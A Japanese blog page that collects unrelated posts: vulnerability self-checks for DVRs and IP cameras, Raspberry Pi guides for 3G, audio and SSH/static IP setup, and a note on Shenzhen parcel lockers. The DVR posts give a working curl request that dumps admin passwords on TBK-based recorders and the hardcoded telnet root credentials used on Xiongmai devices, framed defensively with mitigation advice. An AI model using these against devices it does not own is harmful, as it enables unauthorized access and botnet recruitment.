IPカメラ、DVR(録画機)の脆弱性(セキュリティ)チェック方法2

TBK DVR4104、 DVR4216という種類のDVRについて2018年4月に報告された脆弱性

このDVRはOEMでいろんな会社のブランド名をつけて売られていて、現段階で有名どころは下記

Novo
CeNova
QSee
Pulnix
XVR 5 in 1 ←日本の会社の名前にリブランド見たことあり
Securus
Night OWL
DVR Login ←日本の会社の名前にリブランド見たことあり
HVR Login
MDVR Login

【脆弱性の確認方法】
まず、Macなどでターミナルを立ち上げる。
Windowsの場合にはteratermなどでOK

下記のコマンドをIPアドレスの箇所とポート番号だけ直して打ち込んでください。
例:192.168.1.10:80 (DVRのIPアドレスを192.168.1.10、公開しているポート番号を80にしている場合)

$> curl "http://192.168.***.***:ポート番号/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

もし、脆弱性のある機器であった場合、上記コマンドを実行するとjsonが返ってきて、
その中に下記のようなadminのパスワードが記載されています。

“uid”:”admin“,”pwd”:”パスワード

パスワードをはいてしまうので、これでシステムにログインが可能になってしまうという脆弱性になります。

IPカメラ、DVR(録画機)の脆弱性(セキュリティ)チェック方法1

現在も販売されているのを見かけますが、特に2016年以前に販売されていたIPカメラ、
DVRには乗っ取られる(rootを取られる)非常に重大な脆弱性がある場合があります。

知らない間に、DDOS攻撃や犯罪のプロキシサーバーに利用されたりと

犯罪行為に加担してしまう可能性があるので、かなり深刻です。

内容については2016年、2017年に報道されてはいましたが、未だにその脆弱性がある防犯カメラ、DVRが一部の業者によって楽天やamazon、ヤフーショッピングなどで販売、流通しているようなので、下記の方法で確認してみてください。

使用している方も是非、この機会に確認してみてください。

ちなみに下記の写真のような画面の場合には、該当の可能性が非常に高いです。
問題のメーカーがリコール発表してから2年以上経っていることから、未だにそのDVRを販売しているような業者には要注意。

危険なDVRに多いGUIデザイン
中国XM社が作った深刻な脆弱性があったソフトウェア(CMS)が使われているDVRの管理画面

【脆弱性の確認方法】
まず、Macなどでターミナルを立ち上げる。
Windowsの場合にはteratermなどでOK

下記のコマンドをIPアドレスの箇所だけ直して打ち込んでください。
“telnet IPアドレス” と打つだけなので簡単!

$ telnet 192.168.***.***(DVRのIPアドレス)
Trying 192.168.***.***...
Connected to 192.168.***.***.
Escape character is '^]'.
LocalHost login: root
Password:

ユーザー名に「root
パスワードに「xc3511

と入力してログインできてしまったらアウトです。

ログイン後に試しにlsコマンド打ってみた結果は下記のような感じになりました。

Welcome to Monitor Tech.
# ls
bin      etc      linuxrc  proc     share    usr
boot     home     mnt      root     slv      var
dev      lib      opt      sbin     sys

この脆弱性をわざわざ取り上げたのは、「直せない」脆弱性だからです。
理由は、ハードウェアにハードコーディングされているため

書き換える事が出来ません。
つまり、アップデートなどでの対処は不可能になります。

このようなDVR, IPカメラだった場合、保証期間内であれば
すぐにご購入の店鋪にクレームして交換してもらいましょう。
とはいっても、同じ脆弱性のDVRに交換しても意味がないので、
脆弱性が改善されたものか確認して交換してもらいましょう。

操作画面のデザイン(GUI)が同じだと、業者によっては
何も改善されていない同じものの可能性があります。

特にこの事を話してもはぐらかしてくる業者の場合に諦めざるをえない場合もあるでしょう。

そのような交換出来なかった場合、ルーターでポートを閉じる対策をし、
くれぐれも直接インターネットに繋ぐようなことは辞めましょう。

余裕のある方はVPNルーターを使用して、VPNでアクセスするなどの対策をとるとなおよしです。

よくわからないよという方は、インターネットとの接続を遮断してLANのみで利用するようにしましょう。
(一番安全です)

そうしないと、Miraiなどのウイルスに乗っ取られ
自分達の映像がダダ流れという事よりも、ボットネットを構成しDDOSなどの犯罪行為に加担する可能性があるので
脆弱性がわかった場合には、必ず何かしらの対応をとってください。

インターネットに繋げるという事は必ずリスクが伴います。
また、私も商品を作っている身なのでよくわかりますが、インターネットに繋げて利用する機器には
必ず何かしらの脆弱性が発生してしまいます。

それは、ユーザーにとっては便利な機能である場合もあります。
(ワンタッチで接続設定ができる!などのプラグ&プレイ(PnP機能が良い例です)

100%安全なものなんてないのです。

そういうものと想定して、便利さを享受できるよう知識をつけて対策をとっていけば
そこまで気にする問題にはなりませんので、ちょっと一手間対策をするようにしましょう。

上記の画面デザイン(GUI)のソフトウェア(CMS)は中国の大手セキュリティソフト会社の
XM社(Hangzhou Xiongmai Technology Co.,LTD.)が作ったものになります。

下記のようなデザインの格安中華DVR等にインストールされている事が多いので、
自分が使用しているDVRでデザインが似ていたら上記の脆弱性チェックをしてみるのをお勧めします。
(下記デザインの筐体は廉価版としてよく使われるもののため、中身の基板もそのようなものが使われることが多い)

下記の防犯カメラ録画機が、上記の脆弱性により日本国内で犯罪に加担していたということが、
2017年11月26日NHKスペシャル「あなたの家電が狙われている ~インターネットの新たな脅威~」
の回でも放送されていたので、オンデマンド等で番組を見れる方は、自分のものと違うか確認してみてください。

危険な脆弱性があるDVR

RaspberryPi3で3G接続してみよう!SORACOM Air 編

まず、ソラコムにてアカウント作成してユーザーコンソールにてSIM登録をします。
※クレジットカードの登録が必須だよ!

そして今度は3G接続するためのUSBドングルにSIMカードをセットします。
今回はソラコム推奨のABIT AK-020を使用しての方法を説明します。
ちなみにnanoSIMを使用します。

まず、カードにnanoSIMがついているので外します。

USBドングルは標準サイズのSIMが対応なので、サイズ変換アダプタを写真のようにnanoSIMにはめて
USBドングルに挿入します。

そして、このUSBドングルをRaspberryPi3のUSBポートに接続(でかいので隣のポート塞いじゃう。。)
とりあえず、アップデートを念のためにしておきましょう。
※アップデートが大量にあった場合には、終了後に再起動しておきましょう

sudo apt-get update
sudo apt-get upgrade

SORACOM Airに必要な2つのパッケージをインストールします

sudo apt-get install -y usb-modeswitch wvdial

3G接続用スクリプトをSORACOMのサイトからダウンロードします
下記はpiユーザーでダウンロードしたため、ダウンロード後にusrフォルダに移動させています

curl -O http://soracom-files.s3.amazonaws.com/connect_air.sh
chmod 755 connect_air.sh
sudo mv connect_air.sh /usr/local/sbin/

接続プログラムを実行

sudo /usr/local/sbin/connect_air.sh

接続できているようなメッセージがコンソールにでるので、ソラコムのユーザーコンソールを見てみると

「オンライン」になっています。

ためしにRaspberryPiでソラコムのウェブサイトを閲覧してみると

このようにソラコムのユーザーコンソール上の通信料が更新されました。

ちなみにソラコムのWEBサイトにアクセスして、全表示する前に閉じたんですが、3MB11円くらいになりました。

3G接続を停止したいときは下記のキーを押してプログラムを終了させる

[CTRL]+[C]キーで、connect_air.shのプログラムを終了

そうすると、ソラコムのユーザーコンソールも下記のように「オフライン」になります。

どうでしたでしょうか?

ものの数分でRaspberryPiで3G接続ができるようになりましたね!

 

AIスピーカーをRaspberryPiで作ってみよう!準備編1

まず、下記を用意
1. RaspberryPi3(element14 製を使用しましたがRS製でもほぼ同じ)
2. MicroUSBケーブル(RaspberryPiとUSB ACアダプタを繋ぐ)
3. USB ACアダプタ(RaspberryPiへの5V電源供給)
4. USBキーボード
5. USBマウス
6. スピーカー(ダイソーの300円USBスピーカーを使用しました)
7. マイク(ウェブカメラのマイクを使用しました)
8. HDMIケーブル
9. モニタ(HDMIが使用できるもの)

RaspberryPi3へのOS Raspbianのインストール方法は、ネット上にたくさんあるため
割愛させていただきます。

それでは、上記用意したものをRaspberryPiにセットし、電源ON(MicroUSBに電気を流す)
無事モニタに下記デスクトップ画面が表示されたら起動完了

まず、今回はスピーカーとマイクの動作確認をして、録音テストまで行います。
【スピーカー】
スピーカーが認識されているかをaplay -lで確認
カード番号0、デバイス番号0にスピーカーが認識されています。

pi@raspberrypi:~ $ aplay -l							
**** List of PLAYBACK Hardware Devices ****							
card 0: ALSA [bcm2835 ALSA], device 0: bcm2835 ALSA [bcm2835 ALSA]							
Subdevices: 8/8							
Subdevice #0: subdevice #0							
Subdevice #1: subdevice #1							
Subdevice #2: subdevice #2							
Subdevice #3: subdevice #3							
Subdevice #4: subdevice #4							
Subdevice #5: subdevice #5							
Subdevice #6: subdevice #6							
Subdevice #7: subdevice #7							
card 0: ALSA [bcm2835 ALSA], device 1: bcm2835 ALSA [bcm2835 IEC95	8/HD	MI]					
Subdevices: 1/1							
Subdevice #0: subdevice #0

次に音声を出して、音声確認をしてみましょう。フロントセンターと聞こえればOKです。

pi@raspberrypi:~ $ aplay /usr/share/sounds/alsa/Front_Center.wav							
Playing WAVE '/usr/share/sounds/alsa/Front_Center.wav' : Signed 16	bit	Little	Endian,	Rate	48000	Hz,	Mono

【マイク】
マイクについては手持ちがなかったので、ウェブカメラに埋め込めれているマイクを流用します。
スピーカーが認識されているかをarecord -lで確認。
カード番号1、デバイス番号0にマイクが認識されています。

pi@raspberrypi:~ $ arecord -l							
**** List of CAPTURE Hardware Devices ****							
card 1: Camera [PC Camera], device 0: USB Audio [USB Audio]							
Subdevices: 1/1							
Subdevice #0: subdevice #0

ここで、音声を録音しようと

pi@raspberrypi:~ $ arecord test.wav							
arecord: main:788: audio open error: No such file or directory

としても、エラーになります。

【録音】下記のように録音(4秒)してみます

arecord -D plughw:(カード番号),(デバイス番号), -d (秒数) -f (サンプルフォーマット) (ファイル名)

pi@raspberrypi:~ $ arecord -D plughw:1,0 -d 4 -f cd test.wav
Recording WAVE 'test.wav' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo

ちなみにarecordのオプションの意味は下記、他にもオプションがあるので、-hでヘルプを読んでください
【arecordのオプション(一部)】
-l : 全てのサウンドカードとオーディオデバイスの番号を表示する
-D : 使用するPCMを指定する
-d : 指定の秒数後に終了する
-f : サンプルフォーマットを指定する(下記は環境によって変わります)
-f cd (16bit little endian, 44100, streo)
-f cdr (16bit big endian, 44100, streo)
-f dat (16bit little endian, 48000, streo)
-h : ヘルプを表示する

【マイクボリューム調節】マイクのボリュームを必要に応じて調節します

まずは現状のマイク(シンプルコントロール名 ‘Mic’ )の設定音量を確認。
$ amixer -c 1 sget Mic
※(-c でカード番号を指定)

pi@raspberrypi:~ $ amixer sget Mic -c 1							
Simple mixer control 'Mic',0							
Capabilities: cvolume cvolume-joined cswitch cswitch-joined							
Capture channels: Mono							
Limits: Capture 0 - 3							
Mono: Capture 0 [0%] [30.00dB] [on]

0%になっていたので、60%へと変更してみる

$ amixer -c 1 sset Mic 60%

pi@raspberrypi:~ $ amixer -c 1 sset Mic 60%							
Simple mixer control 'Mic',0							
Capabilities: cvolume cvolume-joined cswitch cswitch-joined							
Capture channels: Mono							
Limits: Capture 0 - 3							
Mono: Capture 0 [67%] [50.00dB] [on]

となり67%になりました。

60%指定したのに67%になった理由は、今回使用したウェブカメラのマイクが4段階しかコントロールできないもののため、0%⇒33%⇒67%⇒100%のレベルでしか設定できない事が理由。

繰り上げで設定されるので、もし70%と指定したら100%に指定されます。

このように、”-c” でマイクのカード番号を指定して、 ”sset”でボリュームを調整します

ちなみに同じようにスピーカーも設定が可能です

スピーカー(シンプルコントロール名 ‘PCM’、カード番号0 )の音量を確認
$ amixer -c 0 sget PCM

スピーカー(シンプルコントロール名 ‘PCM’ )の音量を 50% に設定する
$ amixer -c 0 sset PCM 50%

ただ、スピーカーは下記を使うとGUIでキーの上下操作で簡単に音量調整できます

alsamixer //Escで設定が保存され、元の画面に戻ります

 

【マイクの音をそのままスピーカーから出力する】

arecord | aplay
ではエラーとなるので、下記を入力すると、ハウリングがでますが録音ファイルを作成せずに
マイクの音がそのままスピーカーより出力されます

arecord -f cd -D plughw:1 | aplay -D hw:0
※Ctrl+Cで終了します。

ちなみにplugをつけないと、モノラル音声は再生できないというようなエラーが発生します。
なのでリサンプリングを行う”plug”をデバイスの前につけて解消しましょう

plugをつけると指定のフォーマット、ビットレートになるよう自動でリサンプリング処理を行ってくれます。
ただ、ハウリングはけっこうひどかったりします。

Raspberry Pi3へのSSH設定、固定IP設定方法

2018年2月22日に最新だったRaspbianのOSイメージ、

2017-11-29-raspbian-stretch

を使用。Raspberry Pi3はelement14 製を使用。

下記SSH

【SSH】

1. SSHを使えるようにする
設定画面でSSHを許可する

sudo raspi-config

「5. Interfacing Options」->「P2 SSH」->「Enable: YES」

2.SSHで接続してみる
まず、DHCPで割り当てられているRaspberry Pi3のIPアドレスを確認

hostname -I

これで、IP addressがわかるので、それと下記を使ってターミナル(Mac)からアクセス、WindowsはTeraTerm使用
IP address:192.168.11.xxx
初期ユーザー名: pi
初期パスワード: raspberry
接続が確認できたらOK

【固定IP設定】
サーバーとして利用する場合、IPアドレスは固定だったほうが便利なので固定IPを設定します
また、raspbian-stretchからは/etc/dhcpcd.confに記述するようになったようです。
なので、/etc/network/interfacesには書かなくてOK

固定IP 192.168.11.111をeth0(有線LAN)に設定してみます

nano /etc/dhcpcd.conf

エディタはnano以外にviやvimなど慣れたものを使用してください。
dhcpcd.confの既に書かれているコードの該当箇所のコメント(#)外してIPアドレスを修正するだけ。

interface eth0
static ip_address=192.168.11.111/24 # IPアドレスとサブネットマスク(xxxに任意のIPを指定/24)
static routers=192.168.11.xxx # デフォルトゲートウェイ(自分が所属するネットワーク192.168.111のルータのIPアドレス、二重ルーターしている方は間違えないように)
static domain_name_servers=192.168.11.xxx 8.8.8.8 # DNSサーバ(ルータのIPアドレス、特別な事していない限り上記と同じ)

※”/24”という表記はサブネットマスクが255.255.255.0という意味
※domain_name_serversには複数のDNSサーバーが割り当てできるので、セカンダリにgoogleのPublicDNS 8.8.8.8を指定した

【参考】IPアドレスの後ろの /24 などの表記の意味
CIDR (Classless Inter-Domain Routing) というIPアドレスの表記で、
192.168.1.0/24
などのようにIPアドレスの最後に /24 というように表記する
意味は2進数で桁数32桁のIPアドレスの内、8桁(32-24)が割り当てられるということを表しています
11111111 11111111 11111111 00000000 ←/24
つまり255.255.255.0 のサブネットマスクという意味

ちなみに /25になると
255.255.255.128 のサブネットマスクという意味になる

【WiFiも固定IPにしたいとき】
デフォルトだとDHCPになっているwlan0を上記eth0と同じ方法で固定IPに設定ができます

interface wlan0 
static ip_address=192.168.11.111/24 
static routers=192.168.11.xxx
static domain_name_servers=192.168.11.xxx 8.8.8.8

各固定IP設定が終わったら再起動すれば反映されます

sudo shutdown -r now

再起動後に下記でまとめて確認できます。

ip addr

eth0、wlan0のinetに192.168.11.111と設定されていれば成功です。

増える宅配ボックス@深圳

「宅配ボックス」

日本でもセブンイレブンや地下鉄、駅などいろんなところで

進められています。

もちろん、通販が伸び盛りの深圳も同じで、

宅配ボックスの設置が増えてきました。

ただ、日本との大きな違いは「受け取れないから」というよりは、「家族に見られたくないから」、

という感じもします。

ちなみに中国では日本ほど

不在⇒再配達

が問題になっていないように感じます。

日本だと自宅に昼間に伺って不在⇒再配達

というとても非効率な事が多いですが、こちらはその点合理的というか

●会社に届ける(会社も特に文句いわない)

●会社の近くに住んでる割合が高い

●誰かと一緒に住んでる事が多い(1人暮らし少ない)

という、中国人特有の職住環境があるからか、不在問題はそこまで顕在化していません。

不在だとドライバーがすぐに連絡してきて、おいていってしまうとかもありますが。。

とはいっても、少子高齢化、核家族化が急ピッチ進行中なので

こちらも再配達問題はでてきそうではあります。